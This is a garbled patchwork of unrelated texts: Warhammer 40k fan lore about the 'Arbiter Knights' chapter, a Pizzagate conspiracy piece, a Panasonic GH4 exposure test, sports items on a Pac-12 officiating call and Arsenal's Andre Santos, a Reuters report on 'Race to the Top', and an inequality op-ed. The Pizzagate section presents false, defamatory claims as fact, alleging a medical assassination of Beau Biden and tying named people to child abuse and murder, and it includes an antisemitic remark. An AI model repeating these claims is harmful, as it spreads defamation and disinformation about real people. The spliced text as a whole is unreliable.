Many other factions, not just parts of the Imperium, have come to see the actions of the Adeptus Juditorium and the Arbiter Knights as preemptive and "of an agenda", which is not helped by the rumoured secretive links to the inquisition. Although claiming loyalty to the Emperor of Mankind, their ability to make swift judgment and quick action against their fellow man has made many question that loyalty. Others, however, see it as a necessity to keep the spread of Chaos and Tyrannic corruption at bay. Or perhaps those who praise them hope to buy favour, so that the Arbiter Knights don't come knocking…
But what can be said of the Arbiter Knights is that they are imbued with an almost pure honour and respect for combat, never resorting to cheap tactics, and more often than not would rather clash swords than fire bolters.
After passing judgment, they will always give the accused the chance to peacefully relinquish themselves. However acceptance of corruption is not easy, and after the Arbiter Knights have made their choice, their minds cannot be changed. A certain stubbornness that makes them difficult as allies.
Arbiter Knights are a chapter made solely of Primaries Marines, at the request of Iudex Gavelwing, the Chapter Master, due to their ability to overpower the standard Astartes marines, at least on an individual basis, to perform their duty more effectively.
Contents show]
Chapter History
Arbiter Knights are not known for their battle victories, they themselves know that. They exist to serve a thankless and lonely purpose. Having seen the events that led to “The Fallen”, Arbiter Knights and their governing body have sworn to never let heresy among marines to get to that point again. A noble cause at its inception, some theorise that the seemingly unfeeling and remorseless image of the chapter is an exaggeration through rumours and word of mouth. The Arbiter Knights have cleansed and restored numerous chapters, companies and even entire worlds from complete annihilation, and have also passed judgment that has stopped chapters from incorrectly being labelled heretical by the Inquisition.
Records of their actions are kept in the “Book of Fate” that is always strapped at the waist of Iudex, so as to not be tampered with, and incorrect information to be added to forge false accusations.
Although it is not entirely certain, it is to be believed that they are influenced by corrupt and power-hungry individuals in their high councils. Although Iudex is well known for is unwavering and steadfast methods.
Ultima Founding
Guilliman had anticipated the need for a new breed of hero for this, the darkest age in the Imperium's history. He knew that the galaxy would need warriors resilient enough to stand against the Forces of Chaos as the Imperium found itself poised on the brink of annihilation. To that end, for 10,000 standard years, Archmagos Cawl had been working on improving the Adeptus Astartes themselves. The result was the Primaris Space Marines, a more powerful corps of transhuman warriors, more potent than even the original Astartes. New armies were raised in breathtaking numbers and new and terrible weapons were developed whose fury even the worshippers of the Dark Gods would be unable to withstand. This host of newly created transhuman warriors was not only created just as reinforcements to existing Chapters, for Guilliman had decreed that new Chapters should be created as well, composed entirely of Primaris Space Marines. The warriors of these new Chapters were created entirely through the new processes discovered by Archmagos Belisarius Cawl and established with all the necessary weapons, armour and equipment that they would need to conduct their defence of the Imperium. These Chapters still trace their genetic lineage back to the gene-seed of the First Founding, and scions of all nine Loyalist Space Marine Legions emerged from the vaults beneath the Red Planet.
Indomitus Crusade
With Roboute Guilliman re-installed as the Lord Commander of the Imperium, the resurrected Primarch wasted no time in enacting his plans to take the fight to the Forces of Chaos. Guilliman called for action and ordered the mustering of a mighty armada. With elements from the Adeptus Custodes, a contingent of the Silent Sisterhood as well as several Chapters of the Adeptus Astartes as well as newly created Chapters of the Ultima Founding, Guilliman launched his Indomitus Crusade. As the Crusade pushed outwards from Terra towards their many destinations, their ranks were swelled with ever more Imperial forces eager to join the Crusade led by the only known living son of the Emperor. As the Indomitus Crusade pushed ever deeper into the galaxy, Archmagos Cawl awoke thousands of Primaris Space Marines from stasis deep within the labyrinthine holds of his Ark Mechanicus Zar-Quaesitor. Some of these superior transhuman warriors were designated to be reinforcements for existing Chapters, while others comprised entirely new Chapters.
As the Emperor of Mankind stretched fourth out into the galaxy claiming back the territories, chaos and Tyrannic corruption was beginning to spread through open backdoors. With the focus being used elsewhere it was easy for evil forces to creep in. Someone needed to watch over the homeworlds.
Iudex, a veteran of the Dark angels serving alongside Azreal, forged the Arbiter Knights made from his chosen Primaries Marines to carry out his noble cause of defending the homeworld from corruption and infestation. Something Iudex had a talent for.
Iudex was quick to action, having already started his “Book of Fate” later in his Dark Angels service, and needing quick action on several Astartes members. The Arbiter Knights came quick to legend, a purging force of unmatched efficiency, spending not a minute longer than necessary. Iudex and his knights within two standard years had wiped out the then widespread chaos and Tyrannic corruption in the now named Iuris system. Upon where we would lay ground and base his Chapter from.
Chapter Homeworld
Iuris (yur-ris) was an infested jungle world in which Chaos and Tyranid forces were able to fester undetected due to the thick foliage shielding them from radars. It lay on the border of the imperial reach after the warp rift across the Cicatrix Maledictum known as the Eye of Terror, from which Chaos festers from. The planet lies just within striking distance of the Space Wolves home of "Fenris" and The Dark Angels home "The Rock", and both are therefore grateful towards the Arbiter Knights, despite the attrition between them.
“The Iuris Purging War” lasted several years, as the infestation had become so ingrained in the planet with tunnels running underground making complete eradication a difficult feat. The war was so violent that it left the vegetation beyond repair after the fire purging the jungle, leaving the planet almost unrecognisable from the lush tall trees that had existed before.
Iudex, needing a homeworld and base of operation, took ground on the planet of Iuris and began construction of The Iudecium Monetary, a beacon of fair judgement and law from which Iudex and his council perform their research and pass final judgements. Then needing a force to carry out his judgements, he founded The Arbiter Knights making Iuris the Homeworld and the sole Recruiting world for the chapter.
Over the thousands of years, the Arbiter knights have called Iuris home, the planet has become a sprawling mega-city that spans the entire surface. This has changed the climate of the planet so drastically that, where before it was tropical, it more often than not rains or snows all year round.
The Arbiter Knights have not stretched out further then Iuris, however. This has helped them to focus solely on the purpose of the chapter Iudex set to carry out. However, it has left them vulnerable to raids from the ward rift as they only have the one defensive point and can easily be overwhelmed. They called upon a favour from the Imperial Fists to help with their defence systems and, besides Terra and Mars itself, has become one of the most heavily guarded planets in the system as it holds so many secrets of other chapters.
The planet consists of one planet-wide Mega-city, divided into various hubs that serve different purposes. Some are the centres of government and the judgement councils, others are skyscraper ultra-farms that work just to feed the inhabitants of the planet.
Iurisian Culture
Much like its parent chapter, Iurisian culture is a heavily class-based social system where the high councils and Educational core live in relative luxury, while the industrial and agricultural zones can be forgotten and crime-ridden. although possible to advance through the ranks, it's not common practice. Most are born with a purpose, be that tending to the crops or performing planetary probing research, and each will likely do that until death or being discharged.
The members of the high courts and judgement circles are those born and raised in complete isolation to the rest of the world, kept securely within the walls of Adeptus Juditorium, the branch that teaches and bestows the rights of judgement on selected students. With many of these students also becoming part of the Adeptus Astartes as well, the Space marines of the Arbiter Knights are some of the most valued in the galaxy due to the battle strength and level of academic study.
However, their numbers are small due to the strict and harsh vetting protocol. If an initiate fails at either the study or battle training their memories will be wiped and they will be placed in the industrial districts as an outcast, a former shell of themselves, outcast by society.
Among the high courts are some of the greatest minds of the galaxy. Iudex created them with purity of the mind as one of founding ideas. the council judges are kept isolated throughout their lives in order to completely remove the possibility of corruption and leaves them as remorseless deciders of fate. This cold and protective way of governing has left the Arbiter Knights to be looked upon with suspicious eyes as their secrecy of their decisions and who makes them leaving many untrusting of them. Arbiter Knights will demand information, but will never give it out.
Yet the streets of Iuris are just as harsh and unforgiving. Backstreet dealings and nightclubs host the criminal activities of the cities many gangs. Failed initiates, many of whom have partway completed the implant process of a marine, are swept up by these gangs and used as powerful grunts. It’s rumoured that some have become high ranking members of these gangs. Street life is often dictated by these gangs, and living under the thumb of one can make life very difficult. Protection payments and forced participation of men, women and children are common occurrences.
The divide between these two worlds has always been there. The upper class of the planet have not a second thought of those in “The Lower Streets”. Under the authority of Angustino the Third, a Street-level Sheriff, crime became rife as it was discovered he had allegedly been tasked with nurturing street crime in order to keep the population under control. Despite his death sentence but the high courts, many believe the practice is continued by his successors. Others believe that the High courts run the planet-wide gangs as a means of funding the other branches of government as the Arbiter Knights do not have the luxury of many planets resources, but so far that is unconfirmed.
Even within the Arbiter Knight marine ranks, much of the inner workings of the high courts are unknown despite being educated within their walls. Often only the leasing officer on a purging assault will know the true target, leaving the marines no there choice than to kill everyone.
With such a fair and pure idea at conception, and a Chapter Master with such unyielding kindness, somewhere along the way the practice become so shrouded in mystery and cold, that many fear the Arbiter Knights arrival to a planet.
Adeptus Juditorium
"Kill them all, and let the immaterium be the final judge" —Thanatus the Redeemed, Grand Prosecutor of the IronwingThe Adeptus Juditorum, when Iudex and the Arbiter Knights first colonised Iuris, was a small council that consisted of Iudex and his inner |
as discussed in the Wilmington WBOC news article Red flags consistently missed for accused pedophile doctor.
In his Disney-themed office, the 6-foot 225-lb doctor forced more than 100 children to perform sex acts inside the Pinocchio exam room. After his arrest in December 2009, Bradley refused to cooperate with investigating detectives, and that raises the question of whether he was protecting accomplices in a child-sex ring. A police raid on his home turned up 13 hours of edited kiddie porn that he had recorded with a video camera.
Did David Brock leave town after receiving warnings about parental complaints against Americas worst pedophile? Did Dr. Bradley supply young children to woo his powerful and wealthy funders? Law enforcement was, no doubt, stymied and delayed by the code of silence within the local gay community in this Summer Capital, Washingtons vacation resort by the beach. To put another question right up front: Were there bodies more recent than the Revolutionary War buried under the colonial carriage house? Why else would that valuable historic structure, sold by Brock be demolished without any attempt at resale?
Beau Didnt Jest
Pedophile influence and gay silence were so pervasive along the Eastern Shore that Delaware Attorney General Beau Biden refused to run as a shoo-in candidate in the by-election for his fathers vacated senatorial seat in order to prosecute Earl Bradley. The younger Biden, who in childhood was injured in the head-on car collision that killed his mother and older sister, understood that life is serious and not some meaningless game. He could not watch further harm done to innocent children. His undivided dedication, knowing the dark forces he was up against, resulted in 14 life sentences for the child rapist.
Before the verdict, however, Beau Biden suffered an unexpected relapse following earlier surgery for a brain lesion. He was then given massive radiation therapy at Bethesda hospital, and died of complications from a brain tumor in 2015. Current medical opinion indicates that brain tumors usually do not kill the patient if treated in time, and he was under close observation by his doctor. Beau Biden should still be alive and well. Something was rotten in Delaware.
Today, in hindsight after the Pizzagate scandal, the question needs to be raised. Was Beau Biden, with his clear path to the presidency, the target of a sophisticated medical assassination? According to columnist Maureen Dowd, Beau on his deathbed pleaded with his father to run for the nomination to prevent the corrupt Clintons from coming back to power.
Over the past year, the murder threats against candidate Donald Trump along with the suspicious deaths of Seth Rich, Shawn Lucas, Joe Montano, Victor Thorn and John Ashe in campaign 2016, raises the matter of whos running the assassination operation? To that query one might add: how does a paranoiac lunatic with armed bodyguards like David Brock, who was committed to a psychiatric ward in 2001, command so much donor money and political influence? Though not Jewish by birth, he was adopted into a Jewish family, which accounts for his identity crisis. Why should Washington be so afraid of him just because he stares like Charlie Manson?
Fat Tony Craves Pizza
Tony Podesta must prefer pizza over his wifes home cooking. His charming spouse filed divorce papers in 2014 without uttering a single public comment on her reasons for separation. Why would a woman leave one of the most successful men in Washington politics, who enjoys making meals for friends and actually has any interest in art? Maybe his taste for pasta in art, those paintings of young studs, might have had something to do with her decision.
By any standard, Heather Miller ex-Podesta is an attractive woman and obviously witty and intelligent. But instead of minding the homefront, Tonys been off with his new flame, an eccentric older woman named Marina Abramovic, also a great cook at least in spirit. Her blood pudding is legendary by now.
Spirit Cookery with a Crock Pot
The one possibly fake news item, from the vast online propaganda factory in Macedonia as uncovered by unnamed intelligence sources, is a post in Serbian language about Abramovics distinguished maternal grandfather Varnana Abramovic. Marinas mother is Rosic (here is that Rosy Cross reference), the child of Varnana, who was the Orthodox Church Patriarch of Serbia 1930-37. He reported made pro-Nazi comments then, but apparently did not join the German invasion of 1941. Petar was his name at birth in August 1889, when the Balkans were still part of the Ottoman Empire.
The post at VOAT by BrickInTheWall ran an online translation of Residents of Pljevljima, copied here with grammar corrections: Slight and short with a high-pitched voice, Varnava, it was rumored, liked to wear women's clothing, throw wild parties in the monastery, and take boys to his bed.... The head chaplain of the Tsars Navy, Father Gyorgy Shavelsky, even claimed Varnava had sexually abused and then murdered a beautiful young altar boy at Kolomna. The body was later discovered lodged under the waterwheel of a mill. The flour from that mill must have been quite suitable for spirit baking.
The account grows stranger. Varnava and Rasputin met in one of the capital's (Moscow) salons, and though they did not become friends, the two men of similar backgrounds apparently realized they could be of use to each other: Rasputin could help advance Varnava's career, while Varnava could defend Rasputin against attacks from within the ranks of the church.
The account has the ring of authenticity, although its factual correctness cannot be verified short of flying to Belgrade to consult a historian, unless of course youre Snopes, the Ministry of Truths doublespeak experts at Bureau 1984. Although Serbia is bordered by the Macedonia of cyber-disinfo, it makes zero sense for Vladimir Putin to waste human resources on anything this arcane and obscure. Spirit cooking is not at the top of the Russian agenda, and who really cares about Grandpa Varnana?
So wheres the fake news, if all other items garnered in Parts 1 and 2 of this review of Pizzagate are verified by reports from before the 2016 election campaign? The claim about fake news must be fake. Hillary, you and your intelligence lackeys are hopeless nitwits and pathetic liars. Youve lost the recount and youre starting to lose your mind, so why not just take Huma to Comet Ping Pong for some nice hot cheesy pizza? Mmmmm...
Alefantes the Greek
Theres been suggestions that James Alefantes is a pseudonym based on the French Jaime les enfantes (I love children). The phrase was printed on a T-shirt he wore in a photo taken inside Comet. That remarkable coincidence was first noticed by Alefantes himself, and he wore it proudly. If Hillary had been elected, Pedophile Pride Day might have someday become a national holiday.
On his paternal side, James Alefantes aka Jimmy Comet is a fourth-generation Greek-American (his mother has an Irish surname) whose great-grandfather Achilles Raptotasios was born in Greece in 1880 and immigrated to American after the 1910 census and before the birth of a son in January 1915.
In 2012, GQ named Alefantes as the 49th most powerful man in Washington D.C., impressive for a pizza tosser, especially when considering there are 80 male Senators and 404 Congressmen. Whats he got that they dont?
Heres GQ rationale: "restaurateur and bon vivant" Alefantes is No.49 thanks to the "liberal twenty-somethings in khakis" who eat at Comet Ping Pong and the "more established progressives" who flock to Bucks Fishing & Camping. "If you don't know him, you aren't wearing your scarf right.
Remember, John, a handkerchief with a map wont get you better service from waiters at the Comet, even if its folded neatly into your back pocket. If you fail to stylishly loop your Dolce & Gabbana cashmere scarf or a sporty Merino from Banana Republic, Jimmy Comet is going to call up one of his boys to whip you with a wet noodle before youre allowed to order hotdogs for your Arab guests. Bon Apetit!
Yoichi Shimatsu is a veteran investigative journalist whos mustered truth versus six U.S. presidents, nine Japanese prime ministers and other tyrannical megalomaniacs.By Shane Hurlbut, ASC
@shanehurlbutasc
Many of you out there have been strong backers of the Panasonic GH4. I did not personally like what I saw in my initial test a few months back as this camera had qualities and characteristics that I do not like to see in a camera when I am creating a filmic look. It felt very sharp and “video” looking at times. The saturation on the skin tones on our model Monette’s face made her feel plastic and it didn’t feel natural to me.
Read my initial thoughts on the Panasonic Lumix DMC GH4
Today we are testing again. This camera may perform well in other scenarios, but the one scenario that is going to matter the most is when you are shooting a person’s face. The face is unforgiving. What you see is what you get. A camera test on a person’s face is going to give you a foundation of how you can use the technology and where you shouldn’t.
I want this article to just focus on the camera and its performance in the latitude. This is incredibly important to have a solid understanding of what your latitude means and what it does for you. We will have two more articles focusing on:
IR Pollution
Back Lighting this camera
Fill Ratio
Day ISO Noise
Night ISO Noise
Shooting in a Log Profile
Panasonic has released an updated profile to the GH4 by creating a log format – V-Log L. What exactly is a “Log” format? You’ve most likely seen CanonLog, RedLogFilm and LogC (Arri Alexa) and even SLog2, SLog3 on Sony cameras. Shooting in a Log format gives you the most to play with in post-production color correction.
A Log image is going to have a grey color overall with limited saturation and contrast, and it will look “washed out.” What you are seeing is the camera telling you that there is a lot of “room to move” and that there is information in the camera that you just cannot see at the moment. When you import the footage and take it into DaVinci Resolve or Adobe Creative Cloud, you have the ability to adjust that footage by adding contrast, color and even moving the black level, midtones and highlights to what you feel is appropriate for the look you want to achieve.
What does this mean in regards to testing the camera’s latitude?
Camera Latitude
The latitude of a camera means how far overexposed and how far underexposed before you introduce unwanted noise or the camera’s color information begins to “fall apart.” What I mean when I say that it falls apart is that there isn’t enough data in the recorded information for you to “bring back” the image so that it looks good or how you want it to look. Maybe you are looking for a slightly overexposed image on your actor’s face, but how far should you go over? That’s what we are here to see. The idea is that if you overexpose a camera by too many stops, there isn’t enough information recorded on the camera to allow you to bring the highlights back so that you can see the image the way you want it to appear. The opposite would occur in the underexposure. If you go too far under, will there be enough information either to correct the image or to accomplish the look you are attempting?
GH4 V-Log L Latitude Test – Under Exposure
Let’s dive right into this VLog profile on the GH4 in the underexposure. What I want to do is to test the camera to find out which area in the underexposure looks the most filmic. Is it at a perfect -/+ 0, or is it at a -1 stop of underexposure or more? When I tested the Canon 5D Mark II for Act of Valor, I found that -1 stop of underexposure was that camera’s sweet spot. Let’s see what happens in our test with the GH4.
A quick run through of our camera specs for this test:
Record Quality: 4K UHD 10-Bit External Record on Atomos Shogun
Lens: 25mm Veydra
ISO: 800
K: 3200
Shutter Angle: 180
F Stop: 5.6 (on the 25mm Veydra lens)
These settings are the “control group” of our experiment. Just like in chemistry class in high school, these settings will not change, giving us a foundation for our test. The only thing that will change will be our key light. You will see that it starts out at a F5.6, and it will change, but the 25mm Veydra will be set to a F5.6 for the entire test. Only the light level will change.
Let’s take a quick second to also talk about what we are looking for:
Skin Tone detail on our model Monette’s face
Highlight control
Black Level control
Overall Color/Saturation
Overall Noise in the image
We did this test with a LUT that I created that has a similar color profile to the one I used for Into the Badlands. I call this one Neutral Day Interior. We’re working on creating more LUTs for the GH4 that will work in various environments, and I feel this LUT works well in a controlled situation where you can dial in the light level without sunlight effecting your image.
One thing I find with these prosumer DSLR cameras is that the saturation needs a slight adjustment to bring out the skin tones and make the image stand out. However, you can end up pushing the saturation too far as there isn’t a lot of room to play with on these cameras, so we opted to keep our level at a balanced tone in saturation. You can see at an exposure value of -/+ 0 level, Monette’s skin looks very nice and filmic, and the overall color looks very good.
You can see in the VLog image on the left that there is a lot more information available to us in this image. We were able to dial in more contrast, there is plenty of room for saturation of her overall, and we have a large amount of control over the black level where we can really dig in there and make the image pop.
To me, this is the sweet spot of the exposure of this camera. You will hear me talk about the overexposure in the video coming up, but -1 stop of exposure is where the beauty in this image lies. Just like the Canon 5D Mark II, this camera loves to be underexposed. So somewhere in -2/3 of a stop to a full stop (-1) is where this camera performs its best.
Monette’s skin comes alive, and it has a more vibrant vitality here. Let’s understand how to underexpose her properly by one stop (-1) with your light meter.
Camera is set to 800 ISO
Set your light meter to 1600 ISO, which is -1 stop underexposed or 1280 ISO for -2/3.
When you start lighting, you want to light your scene with your camera set to 800 and your meter set to either 1600 ISO (-1) or 1280 ISO (-2/3), and this will allow you to hit that sweet spot. Since this camera performs much better with less light, you will have more room in post-production to bring up your exposure if needed without losing detail.
Keep in mind that your camera’s lens is set to a F5.6, which is what an 800 ISO setting would read. When you rate your meter at 400 ISO, your light level will tell you to expose the camera at an F4, but you want to leave your lens set at a F5.6, which is one stop under (-1).
For those of you who have a Sekonic L-758Cine-U Light Meter, there are two buttons, one for ISO 1 and one for ISO 2, which allow you to select two different ISOs. You can set your first ISO to 800 ISO, which will give you that -/+ 0 rating, and your second ISO set it either to 1600 ISO (-1 stop) or 1280 ISO (-2/3 stop), which will allow you to see both what the camera settings should be (ISO 1) and what you are lighting to (ISO 2). See the picture below:
One more time, let’s take a look at what your perfect exposure would be at -/+0 and then -1 stop under side-by-side.
Moving on to two stops underexposed, it looks like the graded version is starting to get muddy and smoky in the black level.
When we crank it back up to retain that same IRE value on her skin when our key light was at a F5.6, we start to see a lot of noise. We are also seeing less saturation so with this you’d have to add a small amount of saturation – because as I mentioned before, with this camera, a small amount goes a long way.
Now we are going to push it even further by underexposing by three stops. Another thing I look for when doing these tests is the latitude and how it reacts with the key light. I like to see when the key light becomes so dark that it is hard to see, which shows you the latitude of how much you can push your fill light. When the key light starts turning to your fill light, you’re starting to go into the extremes of your latitude.
When we try to push it back up to -/+0, I’m seeing a lot of digital noise, and the color is really starting to fall apart. Her skin tone with the three stops underexposed doesn’t look natural; it looks like it lacks depth. Three stops under seems to be the breaking point for our camera.
When we go even further and underexpose her by four stops, it is actually looking ok. I feel like I could bring in some fill light and still feel the emotion of the character. There’s just enough detail in there for us to work with it.
Underexposing by five stops would work well for a semi-silhouette look. If you have a nice backlight, like on a street for a night exterior under a sodium vapor and want people to squint to see the details on your character’s face, then five stops down is great.
When grading this back up to -/+0, this camera is definitely broken. The digital noise is colorful and off the wall.
In conclusion of our underexposure latitude test, underexposing by 2/3 to a stop is the sweet spot, and you don’t want to underexpose and then bring it back with the grade because small adjustments make drastic changes. The digital noise of this camera also doesn’t look filmic. It looks digital, and we found that underexposure at four stops is good for barely seeing the emotion on the face of your character and underexposure at five stops is great for a semi-silhouette situation.
Over Exposure Latitude:
In the overexposure test, we are going to look at the very same things we did in the underexposure, but going in the opposite direction by adding more light to Monette and seeing how the camera performs. We found some really interesting things by going into the underexposure, so now let’s find the “cliff” so to speak.
The image still has some slight desaturation in it, and I would put a little more saturation into this V-Log L profile. What I see right away is that Monette’s skin starts to “glow” a little more. The midtones and highlights pop a little more, desaturating the image even more, but overall not bad. We are able to bring the image back to that -/+0 without a problem. Going +1 in exposure is able to be brought back.
We determined that the “sweet spot” of this camera is going into a -1 underexposure area, so we want to see how things will handle when we go +2 stops over now. When coming down from +2 to get to -/+0, you can see that the yellows and browns start to lose detail when we go this far over. The information starts to go pretty quickly here. With some good power windows in DaVinci Resolve and good Luminance Keys, you could bring this information back, but you’re going to have to pinpoint those exact colors and specific areas, which is going to be more work in the end.
You can really see where her skin starts to fall apart when we are +3 stops overexposed. We would have to do some larger power windows here to save the image.
Somewhere between +3 and +4 is where the breaking point of this camera lies. We can see that the camera “clips” in the highlights and there is no longer any information that we would be able to bring back. You can see how Monette’s hair goes yellow and white. This is the breaking point in the overexposure of this camera.
Let’s take last look at the +5 overexposure, where you can really see that the image has fallen apart and we have gone past its breaking point.
Overall Thoughts on the GH4 in V-Log L
The V-Log L boasts that you’re increasing your latitude to twelve stops compared to shooting in the CineLike D profile, which has around ten stops of dynamic range. The V-Log L definitely brings in more dynamic range, but I’m not quite sure that the camera had 10-12 stops. It’s very close, but it most likely falls somewhere around 11-11.5.
The best part about this V-Log L is that it doesn’t feel as “video” in its image. It still leans that way in its color, but the V-Log L gives you a lot more control than the Cinelike D or Cinelike V modes gave you with this camera. There is a lot more flexibility in color control in post as well as limited noise in our controlled latitude test.
In my opinion, this is a much-needed improvement to this camera, and when shooting video with it, the skin quality looks quite nice. This camera paired well with the Veydra Prime lenses that added to this test big time as well.
Remember to rate this camera about -2/3 to -1 stop underexposed to really give yourself the best image quality on this sensor. It gives you a lot of control that way, just like I had when exposing the 5D. These DSLRs just eat light up, so you have to be careful with having too much at times.
All videos were edited on HP Z840 workstations using HP Z24x DreamColor monitors.
Technical Specs:The Pac-12 acknowledged Sunday night that the officials "missed the call" and should have assessed a technical foul on Arizona State's Jahii Carson for hanging on the rim with 0.5 seconds left after a dunk cemented the Sun Devils' 69-66 double-overtime upset of No. 2 Arizona on Friday night in Tempe.
A Pac-12 conference official told ESPN.com on Sunday night that the officials handed in their standard review of the game and conceded that a call should have been made on the play. The conference official said coordinator of officials Bobby Dibler asks for a review of each game and the results of the report came from standard operating procedure.
Pac-12 officials say Jahii Carson should have received a technical foul for hanging on the rim Friday. Ralph Freso/Getty Images
Carson dunked at the other end after teammate Jordan Bachynski blocked an attempted game-winning shot by Arizona's T.J. McConnell with 5.2 seconds left. Carson hung on the rim and pulled himself up in a chin-up on the dunk. ASU's Jonathan Gilling was underneath Carson initially but was clear of Carson -- as seen on the video highlight -- when the junior point guard was swinging from the rim.
The NCAA rulebook cites Section 4 Class B technical infractions Article 1, letter f, which states that "Grasping either basket in an excessive, emphatic manner during the officials' jurisdiction when the player is not, in the judgment of an official, trying to prevent an obvious injury to self or others" results in a technical.
The conference said that game officials were correct in not assessing a technical on Arizona State for students, staff and bench players running on the court with 0.5 seconds remaining.
In a statement, the Pac-12 said: "Following the last made basketball by Arizona State in the second overtime, the officials stopped the game to refer to the monitor to accurately determine the proper amount of time that should be placed on the game clock. Therefore, with the game stopped, the fans and team followers who rushed the floor did not create a delay that interfered with play. The NCAA basketball playing rules state that when the delay does not interfere with play, it shall be ignored."
The Arizona State incident wasn't the only botched call of the weekend. The ACC on Sunday acknowledged that officials failed to change the possession arrow in the second half of Saturday's Maryland-Duke game.President Barack Obama (L) delivers remarks at the Department of Education beside Secretary of Education Arne Duncan in Washington, July 24, 2009. REUTERS/Jim Young
WASHINGTON (Reuters) - President Barack Obama on Friday announced a competition for $4 billion in federal grants to improve academic achievement and reverse a decline in U.S. public schools.
“In an economy where knowledge is the most valuable commodity a person and a country have to offer, the best jobs will go to the best educated, whether they live in the United States, or India, or China,” Obama said.
The president wants states to use funds from the competition, dubbed the “Race to the Top,” to ease limits on so-called charter schools, link teacher pay to student achievement and move toward common U.S. academic standards.
Charter schools receive public funding but generally are exempt from some state or local rules and regulations. They are operated as an alternative to traditional public schools.
“America will not succeed in the 21st century unless we do a far better job in educating our sons and daughters,” Obama said in an address at the Department of Education.
The $4 billion education grant program was created under the $787 billion economic stimulus plan passed by Congress and signed into law by Obama in February.
“Rather than divvying it up and handing it out, we are letting states and districts compete for it. That’s how we can incentivize excellence and spur reform and launch a race for the top in America’s public schools,” he said.
The United States has one of the worst high school dropout rates in the industrialized world, and its students often rank below those in other Western nations in reading and math.
Obama has portrayed the drive to improve education as part of a broader push to promote economic growth in the face of a deep recession and the worst U.S. financial crisis in decades.When Andre Santos arrived from Fenerbahce on deadline day in August 2011, opinion was divided whether the left-back would prove to be a success or failure with Arsenal. The Brazilian has begun well, enduring himself to the Gunners faithful by scoring the equalizing second goal in the Gunners 5-3 beating of Chelsea in October.
However, a majority of fans are still unconvinced about the maverick’s defensive competence. Lack of match fitness, getting caught up the field, giving the ball away too much, not tracking back enough and not showing enough determination in duels are some of the allegations against the defender. He certainly does not inspire much confidence with his seemingly lethargic approach on the pitch.
So is Andre Santos as bad a defender as he’s made out to be?
Let’s go through some statistics from the EPL Index treasure trove (powered by OPTA) and see if they paint a picture. For the purpose of this analysis, I will be comparing Santos with his own team-mate Kieran Gibbs, as well as left-backs from the remaining three top-four teams.
Firstly, let’s look at the number of games and minutes played.
As you can see, the Brazilian has started the least number of games and played the least amount of time. As a rule, one would assume more game time is beneficial to a player’s form, so Santos is probably disadvantaged in this respect in comparison to the others. There’s another opinion you can form based on minutes played and I’ll address that later in the article.
The second table below looks at involvement and success rates in duels and interceptions made.
As we can see, Santos is just marginally behind his own team-mate in % of Ground Duels won but ahead of the other three left-backs. The Brazilian is well ahead of everyone in the Aerial Win %. The Brazilian’s minutes per Ground 50-50’s stat is way better than the others, his per minute Aerial 50-50s is behind Gibbs but comparable to two of the other three. And he makes interceptions with more regularity than any of the other four.
What this suggests is that Santos is heavily involved in the action, and compares very favorably with his peers in winning 50-50s and making interceptions.
Next Page: The comparison continues with passing and tackling stats for Dos Santos et al…
Table 3 below looks at how the players compare in the tackling stakes.
Santos is behind Evra and Assou-Ekotto but still better than Gibbs and Clichy. Once again, he makes tackles with much more regularity than any of the others. He has also made a successful last man tackle more than once.
As Santos is seen to be quite adventurous going forward, Table 4 compares possession stats to see whether he gives the ball away more.
Andre’s pass completion rate is better than any of the others. Crossing does not seem to be his forte though, with a low number of crossed balls and average crossing accuracy. This is visibly borne out by his constant desire to cut inside when running down the flank.
With the statistics above, we have established that in comparison to the other top-four left-backs, Andre Santos is more involved in defensive play, he wins a higher percentage of duels than most of his peers, is pretty decent at winning tackles and retains the ball much better. The numbers seem to not only dispel the theory that the Brazilian can’t defend, they actually suggests he’s quite good at it.
There is one other table that may give us some idea why he’s accumulated this negative reputation.
Santos has made a couple of defensive errors and seems to lose possession with more regularity than at least three of his peers. This last statistic is probably the one alluded to by fans who claim Andre loses the ball and then does not break his neck to get back.
There are three other factors I believe must be considered to put things in perspective. The first is the low number of games he’s started because a longer set of matches makes for a more consistent appraisal. The second is the quality of attacks faced by the Brazilian; only 3 of his 8 starts have been against top-half opposition with only 1 of those against a top-four side. It means the left-back has yet to be tested by a majority of the Premier League’s best wingers. Lastly, it’s his first season in England and oppositions haven’t worked out his weak spots yet.
If he can play consistently next season, a comparison of his performance in a year’s time will give us a better idea of just how good or otherwise he is.
In my opinion, I think he’s very solid when behind the ball. His anticipates well and knows just when to put a foot in. He keeps the ball with confidence but does invite occasional pressure by not passing it quickly enough. His problems begin when he allows players to get in behind him. His lack of pace means he’s reliant on a team-mate to bail him out. He is also prone to bundling people over when he can’t get to the ball, as seen in the City match last weekend when he fouled Balotelli as the Italian went past him.
More than anything else, I believe it’s his mannerisms that shape the viewers opinion about him. The lazy manner in which he jogs around, the heavy breathing from around the 5th minute, the getting-the-ball-while-falling-on-my-ass moves, the throwing of hands in the air at the edge of the opposition defense instead of tracking back when the ball is lost – these contribute to a persona that he’s a defensive liability.
At this point in time however, the statistics clearly indicate that Andre Santos is defensively one of the league’s best left-backs.
After all this analysis, there may yet be one very simple fact to explain his cool, nonchalant, laid-back manner – the nationality on his passport.By Jim Miller
While most of us were busy watching the Trump administration and their crack team of “populist” millionaires light the world on fire, a new study released by Thomas Piketty, Facundo Alvaredo, Lucas Chancel, and Emmanuel Saez underlined the fact that the steep costs of our historic level of economic inequality are being borne by those at the bottom of the economic system, particularly here in the United States. As the Market Watch story on this new research outlined:
In the U.S., between 1978 and 2015, the income share of the bottom 50% fell to 12% from 20%. Total real income for that group fell 1% during that time period.
That’s not the case elsewhere. In China — where there also has been a marked rise in income inequality — the bottom 50% saw their income go up by 401%, not surprising given the industrialization the world’s second-largest economy has seen. Even in developed France, however, the bottom 50% saw their income grow, by 39%.
On his blog, Piketty explains what this means for individuals more concretely: “the average annual income of the bottom 50% has stagnated at about 16,000 dollars per adult (expressed in constant dollars 2015), while the average income of the top 1% rose from 27 times to 81 times this amount, that is from a little over 400,000 dollars in 1980 to over 1.3 million dollars in 2014.”
If you were wondering why the U.S. numbers are worse than those in other countries, in the introduction to the study itself, the authors observe of rising inequality globally that “the magnitude of the increase varies substantially, thereby suggesting that different country-specific policies and institutions matter considerably.”
Thus, it is clear that decades of neoliberal economic policy in the United States carried out by a bipartisan elite have either done nothing to stop or, worse still, helped intensify the collapse of working peoples’ incomes while significantly aiding the cause of the rich.
What is to be done? The Market Watch story notes:
